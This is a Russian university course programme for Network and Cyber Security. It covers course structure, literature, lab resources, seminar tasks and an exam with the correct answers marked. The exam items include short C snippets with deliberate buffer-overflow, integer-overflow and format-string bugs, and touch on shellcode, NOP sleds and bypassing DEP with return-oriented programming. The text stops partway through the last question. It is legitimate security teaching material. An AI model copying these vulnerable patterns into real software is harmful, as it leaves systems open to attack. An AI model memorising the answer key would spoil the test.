

**УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ
«УНИВЕРСИТЕТ УПРАВЛЕНИЯ «ТИСБИ»**

Кафедра информационных технологий

Утверждаю
Зав. кафедрой
О.В.Федорова
Протокол заседания
кафедры № 10
от 06.04.2026

Рабочая программа дисциплины

Наименование дисциплины	Сетевая и кибербезопасность
Направление подготовки	09.03.01 Информатика и вычислительная техника
Направленность (профиль) образовательной программы	Инженерия информационных систем
Год набора	2025, 2026

Составители:

Старший преподаватель Магистерской программы «Разработка безопасных сетей и систем» Салтанов К.С.
АНО ВО «Университет Иннополис»

Казань

РАБОЧАЯ ПРОГРАММА ДИСЦИПЛИНЫ (МОДУЛЯ)

Разделы рабочей программы:

1. Краткая характеристика дисциплины (модуля).
2. Перечень планируемых результатов обучения.
3. Место дисциплины (модуля) в структуре основной профессиональной образовательной программы высшего образования (ОПОП ВО).
4. Объем, структура и содержание дисциплины (модуля).
5. Учебно-методическое обеспечение.
6. Материально-техническое обеспечение.
7. Оценочные и методические материалы.
8. Дополнительные сведения.

Программа составлена в соответствии с требованиями ОПОП ВО Университета Иннополис по данному направлению подготовки.

Форма обучения	Семестр	Трудоемкость дисциплины в		Контактная работа		Контроль, час.	Самостоятельная работа, час.	Форма промежуточной аттестации (экз./диф. зач./зач.)
		зачетных единицах	академических часах	Лекции, час.	Семинарские (практические) занятия, час.			
очная	7	4	144	30	30	18	66	экзамен

1. КРАТКАЯ ХАРАКТЕРИСТИКА ДИСЦИПЛИНЫ (МОДУЛЯ)

Изучение дисциплины (модуля) «Network and Cyber Security / Сетевая и кибербезопасность» обеспечивает формирование и развитие компетенций обучающихся в области безопасности и защиты информации, их применение для решения различных прикладных задач в рамках профессиональной деятельности. В ходе освоения дисциплины обучающиеся рассматривают теорию информационной безопасности кибернетических систем, в том числе теорию обеспечения безопасности автоматизированных систем управления технологическими процессами.

2. ПЕРЕЧЕНЬ ПЛАНИРУЕМЫХ РЕЗУЛЬТАТОВ ОБУЧЕНИЯ

Целью освоения дисциплины (модуля) является формирование знаний, умений и навыков в рамках профессиональной деятельности, позволяющих успешно работать в избранной отрасли, а также обладать компетенциями, способствующими социальной мобильности, устойчивости и конкурентоспособности обучающегося в условиях современных рыночных отношений. Задачами дисциплины являются изучение базовых понятий технической защиты информации и технических угроз информационной безопасности, изучение способов формирования требований к кибербезопасности, овладение методами оптимизации систем защиты информации, навыками обнаружения и блокирования уязвимостей информационных систем реального времени, навыками работы по разработке планов и проведению мероприятий по организации защиты информации (обеспечению кибербезопасности), а также навыками работы по построению и проверке моделей анализа и синтеза инфокоммуникационных систем, сетей и устройств.

Компетенции, формируемые в результате освоения дисциплины (модуля) при проведении учебных занятий в форме контактной работы обучающихся с педагогическими работниками Университета и в форме самостоятельной работы обучающихся:

№ п/п	Код компетенции	Наименование компетенции	Индикаторы компетенций	Методы и технологии обучения, способствующие формированию компетенции
1.	ПК-2	Способен выполнять работы по созданию (модификации) и сопровождению информационных систем	Знать: архитектуру, устройство и функционирование вычислительных и информационных систем; устройство и функционирование современных информационных систем; современные стандарты информационного взаимодействия систем; программные средства и платформы инфраструктуры информационных технологий организаций; современные подходы и	Метод дискуссии; Метод контрольных вопросов; Проектная технология;

			стандарты автоматизации организации (например, CRM, MRP, ERP, ITIL, ITSM); методы выявления требований. Уметь: разрабатывать архитектуру, дизайн и прототипы информационной системы; разрабатывать метрики (количественные показатели) работы информационной системы; настраивать и создавать компоненты анализа программного решения информационной системы; исправлять дефекты и несоответствия в архитектуре и дизайне информационной системы, подтверждать исправление дефектов и несоответствий в коде информационной системы и документации к ней; проверять (верифицировать) архитектуру информационной системы, выполнять параметрическую настройку информационной системы; разрабатывать технологии обмена данными; разрабатывать базы данных информационной системы; осуществлять оптимизацию информационной системы; разрабатывать пользовательскую документацию; оценивать временные и материальные затраты на разработку информационной системы при заданных ресурсах. Владеть: методами оптимизации работы информационной системы и её компонентов; приемами интеграции информационной системы с техническим обеспечением заказчика.	Информационно – коммуникационная технология; Групповая технология; Технология развития критического мышления
2.	ПК-4	Способен осуществлять администрирование процесса управления безопасностью сетевых устройств и программного обеспечения информационных систем	Знать: общие принципы функционирования аппаратных, программных и программно-аппаратных средств информационной сети; архитектуру аппаратных, программных и программно-аппаратных средств информационной сети; средства защиты от несанкционированного доступа операционных систем и систем управления базами данных; инструкции по установке и эксплуатации администрируемых сетевых устройств и программного обеспечения; протоколы канального, сетевого, транспортного и прикладного уровней модели взаимодействия открытых систем, модель ISO для управления сетевым трафиком, модели IEEE, защищенные протоколы управления, основные средства криптографии; регламенты проведения профилактических работ на администрируемой инфокоммуникационной системе; требования охраны труда при работе с сетевой аппаратурой информационной	Метод дискуссии; Метод контрольных вопросов; Проектная технология; Информационно – коммуникационная технология; Групповая технология; Технология развития критического мышления

			сети; особенности реализации полностью облачных и гибридных решений; инструменты CI/CD. Уметь: выяснять приемлемые для пользователей параметры работы сети в условиях нормальной (обычной) работы (базовые параметры); применять аппаратные, программные и программно-аппаратные средства защиты сетевых устройств от несанкционированного доступа; пользоваться нормативно-технической документацией в области инфокоммуникационных технологий; осуществлять мониторинг сетевых устройств; использовать современные стандарты параметризации программного обеспечения сетевой инфокоммуникационной системы; использовать типовые процедуры восстановления данных, определять точки восстановления данных, работать с серверами архивирования и средствами управления операционных систем; составлять график модернизации программно-аппаратных средств, работать с информацией организаций-производителей сетевых устройств и программного обеспечения; отслеживать развитие инфокоммуникационных технологий; обосновывать предложения по реализации стратегии в области инфокоммуникационных технологий; создавать и поддерживать инфраструктуру для разработки с применением российских программных решений и решений с открытым исходным кодом; выбирать систему оркестрации контейнеров; применять практики непрерывной интеграции, тестирования и сборки; настраивать системы непрерывной интеграции с использование российских программных решений и решений с открытым исходным кодом; решать задачи по деплою под разные языки программирования и платформы; выбирать и настраивать необходимые сервисы для мониторинга как отдельных приложений так и информационной системы в целом; оценивать временные и материальные затраты на развертывание программно-аппаратных решений. Владеть: навыками установки, настройки и управления локальными и глобальными сетями; настройки и управления конфигурацией нескольких серверов; современными средствами контроля	
--	--	--	---	--

			производительности сети; навыками настройки параметров современных программно-аппаратных межсетевых экранов, сегментирования элементов сети; автоматизированного развертывания программного решения на стороне пользователя; навыками развертывания информационной системы, в том числе рабочих мест информационной системы у заказчика; разработки технологий интеграции информационной системы с существующими информационными системами организации; установки и настройки прикладного программного обеспечения, необходимого для функционирования информационной системы; настройки оборудования, участвующего в работе информационной системы.	
--	--	--	--	--

Знания: сформированы систематические знания базовых понятий технической защиты информации; понятия контура безопасности; понятия технических угроз информационной безопасности; понятия НДВ и влияния на функционирование системы; способов формирования требований к кибербезопасности.

Умения: сформированы умения классифицировать объекты защиты информации. определять актуальные угрозы в условиях эксплуатации объекта; формировать требования для системы защиты информации для систем реального времени с учетом особенностей функционирования объекта защиты; определять граничные условия функционирования систем защиты информации в кибернетических системах реального времени; разрабатывать протоколы обмена информации с внешними системами; вырабатывать стратегию действий на основе системного подхода используя обработанную полученную информацию.

Навыки (владения): сформировано владение методами оптимизации систем защиты информации; навыками обнаружения и блокирования уязвимостей информационных систем реального времени; навыками работы по разработке планов и проведению мероприятий по организации защиты информации (обеспечению кибербезопасности); навыками работы по построению и проверке моделей анализа и синтеза инфокоммуникационных систем, сетей и устройств.

3. МЕСТО ДИСЦИПЛИНЫ (МОДУЛЯ) В СТРУКТУРЕ ОСНОВНОЙ ПРОФЕССИОНАЛЬНОЙ ОБРАЗОВАТЕЛЬНОЙ ПРОГРАММЫ ВЫСШЕГО ОБРАЗОВАНИЯ (ОПОП ВО)

Данная учебная дисциплина (модуль) включена в «Блок 1. Дисциплины (модули)» образовательной программы по направлению подготовки 09.03.01 Информатика и вычислительная техника, направленность (профиль) образовательной программы «Инженерия информационных систем» и относится к части, формируемой участниками образовательных отношений, обеспечивает

формирование профессиональных компетенций. Дисциплина (модуль) «Network and Cyber Security / Сетевая и кибербезопасность» позволяет обучающимся получить знания, умения и навыки для успешной профессиональной деятельности в области программного обеспечения компьютерных вычислительных систем и сетей, автоматизированных систем обработки информации и управления. Дисциплина осваивается студентами при обучении в очной форме на 3 курсе в 7 семестре.

4. ОБЪЕМ, СТРУКТУРА И СОДЕРЖАНИЕ ДИСЦИПЛИНЫ (МОДУЛЯ)

Объем дисциплины (модуля) составляет:

4 зачетные единицы, 144 академических часа, объем контактной работы — 60 академических часов.

Структура дисциплины (модуля):

№ раздела	Наименование раздела дисциплины (модуля)	Трудоемкость, академические часы			
		Очная форма			
		Контактная работа		Контроль, час.	Самостоятельная работа, час.
		Лекции, час.	Семинарские (практические) занятия, час.		
1.	Парадигмы построения системы кибербезопасности	7	7	0	16
2.	Особенности защиты кибернетических систем	7	7	0	16
3.	Инженерно-технические и программные методы защиты информации	8	8	0	17
4.	Проблема информационного взаимодействия кибернетических устройств без участия человека	8	8	0	17
	Промежуточная аттестация - экзамен			18	
ИТОГО:		30	30	18	66

Содержание дисциплины (модуля):

№ раздела	Наименование раздела дисциплины (модуля)	Содержание дисциплины (модуля) по темам	Формируемые компетенции
1.	Парадигмы построения системы кибербезопасности	Понятие кибербезопасности. Роль человека в кибернетических системах. Проблема информационной безопасности в кибернетических системах.	

		Понятие доверенной информационной системы. Кибербезопасность (информационная безопасность) киберфизических систем.	ПК-2; ПК-4
2.	Особенности защиты кибернетических систем	Технические средства противодействия. Кибернетические системы, характеристики, жизненный цикл, проблема сопровождения больших кибернетических систем. АСУТП, особенности эксплуатации, ограничения связанные с длительными сроками эксплуатации систем. Internet вещей, smart things – коммуникация и принятие решений без участия человека. Требования к обеспечению безопасности. Угрозы кибербезопасности, уязвимости системы кибербезопасности и атаки на нее.	
3.	Инженерно-технические и программные методы защиты информации	Защита каналов связи. Защита программ и электронных баз данных. Стандарты и нормативные документы в области обеспечения информационной безопасности. Определение требований к обеспечению информационной безопасности на примере системы QNX. Основы анализа АСУ. Основные виды АСУ. Определение угроз для АСУ и степени влияния на систему в целом.	
4.	Проблема информационного взаимодействия кибернетических устройств без участия человека	Виды идентификации, применяемые в современных информационных системах. Понятие идентификационной сущности. Проблема хранения идентификационной сущности. Процедуры идентификации без участия человека. Криптографические методы идентификации.	

5. УЧЕБНО-МЕТОДИЧЕСКОЕ ОБЕСПЕЧЕНИЕ

Университет Иннополис обеспечен необходимым комплектом лицензионного и свободно распространяемого программного обеспечения, в том числе отечественного производства.

Каждый обучающийся в течение всего периода обучения обеспечен индивидуальным неограниченным доступом к электронно-библиотечной системе (электронной библиотеке) и к электронной информационно-образовательной среде Университета (<https://my.university.innopolis.ru>). Электронно-библиотечная система и электронная информационно-образовательная среда обеспечивают возможность доступа, обучающегося из любой точки, в которой имеется доступ к информационно-телекоммуникационной сети «Интернет» (далее — сеть «Интернет»), как на территории Университета, так и вне его.

Также обучающимся обеспечен доступ (удаленный доступ) к современным профессиональным базам данных и информационным справочным системам.

Перечень учебно-методического обеспечения дисциплины (модуля):

Основная литература:

1. Абденов, А. Ж. Современные системы управления информационной безопасностью: учебное пособие / А. Ж. Абденов, Г. А. Дронова, В. А. Трушин. — Новосибирск: Новосибирский государственный технический университет, 2017. — 48 с. — Режим доступа: <http://www.iprbookshop.ru/91427.html> — ЭБС «IPRbooks».

Дополнительная литература:

1. Бахаров, Л. Е. Информационная безопасность и защита информации: сборник тестов / Л. Е. Бахаров. — Москва: Издательский Дом МИСиС, 2015. — 43 с. — Режим доступа: <http://www.iprbookshop.ru/98858.html> — ЭБС «IPRbooks».
2. Башлы, П. Н. Информационная безопасность и защита информации: учебное пособие / П. Н. Башлы, А. В. Бабаш, Е. К. Баранова. — Москва: Евразийский открытый институт, 2012. — 311 с. — Режим доступа: <http://www.iprbookshop.ru/10677.html> — ЭБС «IPRbooks».

Дистанционная поддержка дисциплины (модуля)

Для дистанционной поддержки дисциплины используется система управления образовательным контентом Moodle, развернутая на портале АНО ВО «Университет Иннополис». Во время обучения все студенты получают индивидуальные пароли для входа в систему, в которой размещаются: программа курса, контрольные вопросы, задания, темы лекций с презентационными материалами и т. д.

6. МАТЕРИАЛЬНО-ТЕХНИЧЕСКОЕ ОБЕСПЕЧЕНИЕ

1. Университет располагает материально-технической базой, соответствующей действующим противопожарным правилам и нормам и обеспечивающей проведение всех видов дисциплинарной и междисциплинарной подготовки, практической и научно-исследовательской работ обучающихся, предусмотренных учебным планом.

2. Помещения, которые представляют собой учебные аудитории для проведения занятий лекционного типа, занятий семинарского (практического) типа, курсового проектирования (выполнения курсовых работ), групповых и индивидуальных консультаций, текущего контроля и промежуточной аттестации, а также помещения для самостоятельной работы и помещения для хранения и профилактического обслуживания учебного оборудования. Помещения укомплектованы специализированной мебелью и техническими средствами обучения, служащими для представления учебной информации большой аудитории.

Изучение дисциплины обеспечивается в учебных аудиториях, оснащенных:

- столами и стульями;
- компьютерной техникой;
- специализированным оборудованием, включая демонстрационное оборудование.

Перечень материально-технического оснащения учебных аудиторий конкретизируется приказом директора или уполномоченного им лица ежегодно и

размещается на официальном сайте Университета в информационно-коммуникационной сети «Интернет» в подразделе «Материально-техническое обеспечение и оснащенность образовательного процесса. Доступная среда» раздела «Сведения об образовательной организации» по ссылке: <https://innopolis.university/sveden/objects>.

3. Для проведения занятий лекционного и семинарского (практического) типа предлагаются наборы демонстрационного оборудования и учебно-наглядных пособий, обеспечивающие тематические иллюстрации, соответствующие программе дисциплины (модуля).

4. Лаборатории Университета, в том числе Кибер-физическая лаборатория информационной безопасности «Иннокиберполигон» (<https://engineerschool.innopolis.university/innocyberpolygon>), Цифровая лаборатория искусственного интеллекта «InnoDataHub» (<https://engineerschool.innopolis.university/innodatahub>), Цифровая образовательная песочница для разработки передовых систем «DevOps Playground» (<https://engineerschool.innopolis.university/devops>), оснащены лабораторным и специализированным оборудованием. Перечень материально-технического оснащения и программного обеспечения лабораторий размещается на официальном сайте Университета по ссылке: <https://innopolis.university/sveden/objects>.

5. Помещения для самостоятельной работы обучающихся, в том числе приспособленные для использования инвалидами и лицами с ограниченными возможностями здоровья, оснащены компьютерной техникой с возможностью подключения к сети «Интернет» и обеспечением доступа к в электронную информационно-образовательную среду Университета.

6. Обучающимся предоставляется доступ (в том числе удаленный) к ресурсам информационно-телекоммуникационной сети «Интернет», электронным ресурсам (в том числе электронным библиотечным системам, современным профессиональным базам данных и информационным справочным системам):

№	Ссылка на информационный ресурс	Наименование разработки в электронной форме	Доступность
Электронно-библиотечные системы:			
1.	http://www.iprbookshop.ru	Русскоязычная ЭБС на платформе «IPR Smart». Учебники и учебные пособия для университетов издательства «IPRbooks». Учебники и учебные пособия для лиц с ОВЗ	Индивидуальный неограниченный доступ
2.	http://e.lanbook.com	Русскоязычная ЭБС на платформе «Лань». Учебники и учебные пособия для университетов издательства «Лань». Учебники и учебные пособия для лиц с ОВЗ	Индивидуальный неограниченный доступ
Профессиональные базы данных:			
3.	http://search.ebscohost.com	Платформа EBSCOHost. Доступ к англоязычным полнотекстовым книгам	Индивидуальный неограниченный доступ
4.	https://portal.university.innopolis.ru/reading_hall	Электронный каталог научно-технической библиотеки АНО ВО «Университет Иннополис»	Для студентов, зарегистрированных в системе
5.	https://habr.com	База данных для IT-специалистов	Доступ свободный

6.	https://www.sciencedirect.com	База данных ScienceDirect	Доступ свободный
7.	https://elibrary.ru	Научная электронная библиотека	Доступ свободный
8.	https://link.springer.com	Полнотекстовая англоязычная БД Springer	Доступ из локальной сети УИ. Для удаленного доступа требуется регистрация из локальной сети УИ
9.	https://ar.cnki.net	База Данных Academic Reference. База данных полнотекстовых англоязычных ресурсов по всем академическим дисциплинам, опубликованных в Китае	Доступ из локальной сети УИ
10.	https://www.ams.org/journals	База данных англоязычных полнотекстовых журналов AMS Journals (2017–2022 гг.)	Доступ из локальной сети УИ
11.	https://www.dl.begellhouse.com/collections/6764f0021c05bd10.html	База данных англоязычных полнотекстовых журналов Begell	Доступ из локальной сети УИ
12.	https://saemobilus.sae.org/	База данных англоязычных полнотекстовых журналов SAE International SAE eJournals eBooks	Доступ из локальной сети УИ
13.	https://www.worldscientific.com	База данных англоязычных полнотекстовых журналов WorldScientific 2001–2022 гг.	Доступ из локальной сети УИ
14.	https://www.scitation.org/ebooks	AIPP E-Book Collection I + Collection II. Англоязычная База данных полнотекстовых электронных книг.	Доступ из локальной сети УИ
15.	https://ufn.ru/	Автономная некоммерческая организация Редакция журнала "Успехи физических наук". Электронный журнал на русском языке.	Доступ из локальной сети УИ
16.	https://sk.sagepub.com/books/discipline	SAGE Publications Ltd eBook Collections. Англоязычная База данных полнотекстовых электронных книг	Доступ из локальной сети УИ
17.	https://onlinelibrary.wiley.com/	The Wiley Journals Database Англоязычная База данных полнотекстовых электронных журналов	Доступ из локальной сети УИ
18.	https://www.mathnet.ru/	Полнотекстовая коллекция русскоязычных электронных математических журналов	Доступ из локальной сети УИ
19.	https://quantum-electron.lebedev.ru/arhiv/	Электронная версия журнала «Квантовая электроника»	Доступ из локальной сети УИ
20.	http://journals.rcsi.science/	Полнотекстовая коллекция журналов Российской академии наук включает 140 наименований журналов, охватывающих различные научные специальности.	Доступ из локальной сети УИ
21.	https://www.orbit.com/	База данных патентного поиска, объединяющая информацию о более чем 122 миллионах патентных публикаций, полученную из 120 международных патентных ведомств, включая РосПатент, Всемирную организацию интеллектуальной собственности (ВОИС), Европейскую патентную организацию.	Доступ из локальной сети УИ
Информационные справочные системы:			
22.	https://minobrnauki.gov.ru/	Официальный сайт Министерства науки и высшего образования Российской Федерации	Доступ свободный
23.	https://www.edu.ru/	Федеральный портал «Российское образование»	Доступ свободный

24.	http://window.edu.ru/	Информационная система "Единое окно доступа к образовательным ресурсам"	Доступ свободный
25.	http://school-collection.edu.ru/	Единая коллекция цифровых образовательных ресурсов	Доступ свободный
26.	http://fcior.edu.ru/	Федеральный центр информационно-образовательных ресурсов	Доступ свободный

7. Университет Иннополис обеспечен необходимым комплектом лицензионного и свободно распространяемого программного обеспечения, в том числе отечественного производства, в который входят:

Наименование ПО	Производство	Лицензионное / свободно распространяемое
Операционные системы:		
Microsoft Imagine (Windows Client, Server)	зарубежное	лицензионное
Браузеры:		
Яндекс.Браузер	отечественное	свободно распространяемое
Google Chrome	зарубежное	свободно распространяемое
Офисные приложения:		
Microsoft Imagine (Visio, OneNote)	зарубежное	лицензионное
TeXstudio	зарубежное	свободно распространяемое
Adobe Acrobat Reader	зарубежное	свободно распространяемое
Программное обеспечение для планирования и учета времени:		
Toggle app	зарубежное	свободно распространяемое
Системы управления проектами:		
Microsoft Imagine (Project)	зарубежное	лицензионное
Системы управления базами данных:		
Microsoft Imagine (SQL Server)	зарубежное	лицензионное
Системы резервного копирования (backup):		
Acronis Backup Advanced for HyperV	зарубежное	лицензионное
Справочно-правовые системы:		
КонсультантПлюс: справочно-правовая система	отечественное	лицензионное
Системы управления обучением:		
Система LMS Moodle	зарубежное	свободно распространяемое
Средства антивирусной защиты:		
Kaspersky Endpoint Security для бизнеса Стандартный Russian Edition	отечественное	лицензионное
Среды разработки:		
Visual Studio Code	зарубежное	свободно распространяемое
Bash (Unix shell)	зарубежное	свободно распространяемое
Anaconda	зарубежное	свободно распространяемое
Robotic Operating System	зарубежное	свободно распространяемое
CopelliaSim	зарубежное	свободно распространяемое
Google Colaboratory	зарубежное	свободно распространяемое
Пакеты программных средств и библиотек:		
AutoPsy	зарубежное	свободно распространяемое
Interactive Disassembler (IDA)	зарубежное	свободно распространяемое
Системы управления библиографической информацией:		
Zotero	зарубежное	свободно распространяемое
Сервисы и службы:		
Bind	зарубежное	свободно распространяемое
Docker	зарубежное	свободно распространяемое

7. МЕТОДИЧЕСКИЕ И ОЦЕНОЧНЫЕ МАТЕРИАЛЫ

Задания для семинарских (практических) занятий:

№ п/п	Наименование раздела дисциплины (модуля)	Перечень рассматриваемых тем (вопросов)
1.	Парадигмы построения системы кибербезопасности	1. Компьютерная безопасность, информационная безопасность и информационное обеспечение. 2. Концепции безопасности кибер-сети.
2.	Особенности защиты кибернетических систем	Индивидуальная практическая работа студентов с последующей защитой перед группой: 1. Проектирование системы разграничения доступа в сети 2. Презентация на тему "Национальная кибербезопасность: основные проблемы и стратегические вызовы"
3.	Инженерно-технические и программные методы защиты информации	1. Система защиты 2. Куб кибербезопасности Индивидуальная практическая работа студентов: 1. Опишите модель кибербезопасности в соответствии с ISO. 2. Зашифруйте текст «Конфиденциальность» с помощью ключа 13,11,2,5,18,14,7,9,3,1,17,4,8,15,10,6,12,16. 3. Зашифруйте текст «Информационная система» с помощью таб. 5*5. Ключом является слово «МЕТОД».
4.	Проблема информационного взаимодействия кибернетических устройств без участия человека	1. Критическая информационная инфраструктура, основные понятия, стандарты. 2. Искусство обеспечения целостности данных 3. Криптография – оружие. Угрозы данным. Индивидуальная практическая работа студентов: 1. Задан закрытый текст «ЫРКАТОГПРЫЕРЫММС». Ключом данного текста является таблица «Магический квадрат». Ваша задача заключается в том, чтобы вы дополнили ячейки таблицы так, чтобы сумма чисел по строкам, столбцам и полным диагоналям равнялась одному и тому же числу – 34. 2. Программирование алгоритмов криптосистем с открытым ключом. На языке VBA, C++ или C# написать программу шифрования и дешифрования текстового файла методом, указанным преподавателем. 3. Шифрация информационных массивов методами подстановки и замены. 1. На одном из языков высокого уровня реализовать шифр замены 2. Реализовать предыдущее задание, используя многоалфавитную замену 3. На одном из языков высокого уровня реализовать шифр перестановки

Текущий контроль успеваемости обучающихся по дисциплине (модулю):

№ п/п	Наименование раздела дисциплины (модуля)	Форма текущего контроля	Материалы текущего контроля
1.	Парадигмы построения системы кибербезопасности	Проверка выполнения домашних заданий; Устный / письменный опрос; Эссе; Доклад; Защита проекта; Коллоквиум	Устный / письменный опрос: Кибербезопасность, определение. Понятие доверенных систем. Тематика эссе: Влияние кибер устройств на повседневную жизнь человека. Требования к информационной безопасности в системах реального времени. Задания, в том числе, для групповых проектов: Разработка требований к системе кибербезопасности.
2.	Особенности защиты	Проверка	Устный / письменный опрос:

	кибернетических систем	выполнения домашних заданий; Устный / письменный опрос; Доклад; Коллоквиум	Какие угрозы наиболее актуальны? Концепция кибер-паттернов. Установка защиты системы / защиты от вредоносных программ. Темы докладов: Цели обеспечения кибербезопасности в «Интернет-вещей» для граждан. «Интернет-вещей» и его применение в Smart Grid. Выполнение домашних заданий и групповых проектов: Опишите факторы, которые ведут к распространению и росту киберпреступности. Расскажите об организациях и инициативах, направленных на подготовку большего числа специалистов по кибербезопасности.
3.	Инженерно-технические и программные методы защиты информации	Проверка выполнения домашних заданий; Устный / письменный опрос; Эссе; Защита проекта; Коллоквиум	Устный / письменный опрос: Основные принципы криптографии. Параметры безопасности на сетевых устройствах и других технических средствах. Тематика эссе: Определение политики безопасности для аварийного режиме работы АСУТП. Задания, в том числе, для групповых проектов: Разработка программы криптозащиты канала связи. Разработка программы защиты данных, хранящихся на носителе.
4.	Проблема информационного взаимодействия кибернетических устройств без участия человека	Проверка выполнения домашних заданий; Устный / письменный опрос; Эссе	Устный / письменный опрос: Опишите, как внедрение физических средств обеспечения безопасности влияет на защиту сетевого оборудования. Опишите уровни обеспечения кибербезопасности в рамках триады «конфиденциальность, целостность, доступность». Тематика эссе: Методы авторизации без участия человека.

Контрольные вопросы для подготовки к промежуточной аттестации:

№ п/п	Наименование раздела дисциплины (модуля)	Наименование вопроса
1.	Парадигмы построения системы кибербезопасности	Опишите общие черты мира кибербезопасности. Где применяются кибернетические системы? Принципы кибербезопасности. Модели кибербезопасности (триада ЦРУ, звездная модель, шестнадцатеричная Паркер). Безопасность на транспортном уровне: аспекты веб-безопасности. Безопасность электронной почты. основные понятия в сфере функциональной безопасности.
2.	Особенности защиты кибернетических систем	Протоколы связи и аутентификации для кибер физических систем и «Интернет-вещей»: обзор, особенности, проблемы безопасности. Определение систем реального времени с точки зрения информационной безопасности. Проблемы кибербезопасности. Атаки с использованием социальной инженерии и их эффективность. Средства и приемы для обнаружения угроз безопасности и уязвимостей. Защита данных и конфиденциальность.
3.	Инженерно-технические и	Зависимость опасности выявленных уязвимостей от уровня в модели АСУ. Объясните, как методы шифрования защищают конфиденциальность данных.

	программные методы защиты информации	Использование криптографических методов. Перечислить способы обеспечения целостности данных с помощью технологий, продуктов и процедур. Требования к специалистам в области кибербезопасности «Интернет-вещей», критической информационной инфраструктуры. Насколько зрелой является система кибербезопасности?
4.	Проблема информационного взаимодействия кибернетических устройств без участия человека	Криптографические методы авторизации устройств в системе. Передовые методы установки и настройки средств контроля безопасности при управлении учетными записями. Средства для обеспечения информационной безопасности хоста. Настройка общих протоколов и служб. Суть основных понятий и технологий обеспечения информационной безопасности. Ответственность за нарушение требований законодательства РФ в сфере обеспечения безопасности КИИ и КВО ТЭК.

Вопросы/Задания к промежуточной аттестации в устной/письменной форме:

Выберите правильный вариант ответа.

1. Что из нижеперечисленного можно отнести к системам обнаружения вторжений (IDS)?

- Snort
- Kubernetes
- Nmap
- Tcpdump

2. Какова цель трансляций сетевых адресов (NAT) с точки зрения обеспечения безопасности в сети?

- Скрытия сетевого адреса межсетевого экрана
- Скрытия паролей пользователей локальной сети
- **Скрытия схемы сетевой адресации локальной сети**
- Скрытия логинов пользователей локальной сети

3. Обеспечит ли защиту от IP spoofing атаки аутентификация IPv4 адресов в сети?

- Да
- **Нет**
- Да, если речь идет о публичном IP адресе
- Да, если речь идет о частном IP адресе

4. Определите, какая из команд межсетевого экрана блокирует исходящий трафик в локальную подсеть?

- iptables -A OUTPUT -d 75.126.153.206 -j DROP
- iptables -A OUTPUT -d 192.168.1.1 -j DROP
- iptables -A POSTROUTING -d 75.126.153.206/24 -j DROP
- **iptables -A OUTPUT -d 192.168.1.0/24 -j DROP**

5. Какой из механизмов безопасности отсутствует в сетевом протоколе Telnet, что делает его уязвимым к атакам при передаче данных в сети?

- **Шифрование**
- Фильтрация данных
- Контроль доступа
- Логирование

6. Какой HTTP заголовок позволяет внешнему источнику получить доступ к содержанию страниц на вашем домене посредством технологии CORS?

- Accept: */*
- Location: <url>
- **Access-Control-Allow-Origin**
- Connection: keep-alive

7. Каково назначение флага HttpOnly при установки сессионных cookie в ответном от сервера HTTP заголовке?

- Всегда использовать http вместо https протокола
- **Скрипты на стороне клиента не могут получить доступ к данным cookie**
- Веб-сервер принимает только заголовки http, без данных
- Файлы cookie будут передаваться только через заголовки http

8. Каким образом сетевая утилита traceroute позволяет идентифицировать маршрутизаторы в сети, через которые проходит соединение до конечного адресата?

- С помощью отправки echo ответа от адресата в ICMP пакете
- **С помощью поля TTL (Time to Live) в заголовке IP пакета**
- С помощью использования DNS запросов для конечного адресата
- С помощью удаленных соединений к маршрутизаторам в сети

9. Предположим, вы хотите заблокировать входящий сетевой трафик протокола SSH (Secure Shell) на порт 22 из сети 10.1.1.0/24. Какой параметр отсутствует в предоставленной команде брандмауэра?

iptables -A INPUT --dport 22 -j DROP

- Указание внешней сети как -s 10.1.1.0/24
- Указание внешней сети как -d 10.1.1.0/24
- Указание транспортного протокола TCP
- Указание локального IP-адреса в качестве источника

10. На какой тип сетевой атаки представленный пример команды межсетевого экрана направлена защита от?

iptables -A FORWARD -p tcp --syn -m limit --limit 1/s -j ACCEPT

- Session hijacking
- ICMP flood
- **SYN-flood**
- Man in the middle

11. Каким образом определяется адрес в памяти для доступа к функциям или глобальным переменным разделяемой библиотеки (shared library) для исполняемого файла с учетом того, что библиотека имеет позиционно-независимый код (PIC)?

- Адрес указан в заголовках исполняемого файла секции .data
- Адрес указан в заголовках исполняемого файла секции .text
- С помощью глобальной таблицы смещений (GOT)
- **С помощью таблицы взаимосвязи процессов (PLT) и глобальной таблицы смещений (GOT)**

12. Какой раздел, загруженный в памяти разделяемой библиотеки, может совместно использоваться различными процессами во время исполнения?

- data
- .bss
- **.text**
- .init

13. Найдите, что относится к недопустимой операции ассемблера:

- **mov [EAX], [ECX]**
- mov [ESP + 4], 120
- cmp EAX, 5
- xchg EAX, EBX

14. Как называются специально созданные инструкции, которые могут быть несанкционированно введены и исполнены в пространстве памяти запущенного процесса?

- Attack code
- **Shellcode**
- Vulnerable code
- Executable code

15. Какова цель использования инструкций NOP sled при внедрении вредоносного кода в область памяти процесса?

- Обновите текущий код новыми вредоносными инструкциями
- Указывают на код выхода из программы после выполнения вредоносных инструкций
- **Повышают точность доступа к вредоносному коду в памяти**
- Повышают точность доступа к адресу возврата текущей функции, хранящийся в стеке

16. Найдите и определите тип уязвимости в следующем примере кода:

```
int main(int argc, char *argv[]) {
    int i;
    char username[128] = {0};
    char msg[2048] = {0};
    i = read(STDIN_FILENO, msg, sizeof(msg)-1);
    memcpy(username, msg+2, i-2);
    return 0;
}
```

- Переполнение буфера
- Целочисленное переполнение
- Уязвимость форматной строки
- **Переполнение буфера и целочисленное переполнение**

17. Определите причины потенциальной уязвимости переполнения буфера в следующем примере кода:

```
if (!(png_ptr->mode & PNG_HAVE_PLTE)) {
    png_warning(png_ptr, "Missing PLTE before tRNS");
}
else if (length > (png_uint_32)png_ptr->num_palette) {
    png_warning(png_ptr, "Incorrect tRNS chunk length");
    png_crc_finish(png_ptr, length);
}
```

```

    return;
}
png_crc_read(png_ptr, readbuf, (png_size_t)length);

```

- **Отсутствует возврат из первого условия if, если получили предупреждение**
- Отсутствует проверка длины, если PNG имеет правильный формат
- Наличие оператора else if для проверки длины данных
- Необходимо прочитать данные из источника readbuf перед проверкой формата и длины файла

18. Какой тип техники можно использовать для обхода защиты неисполняемого стека (DEP) для исполнения вредоносных инструкций?

- Использовать уязвимость форматной строки для утечки памяти
- **Возвратно-ориентированное программирование**
- Отключить защиту ASLR (рандомизация адресов памяти)
- Использовать NOP sleds

19. Найдите и определите тип уязвимости в следующем примере кода:

```

void vulnerable()
{
    char buf[80];
    if(fgets(buf, sizeof(buf), stdin)==NULL)
    return;
    printf(buf);
}

```

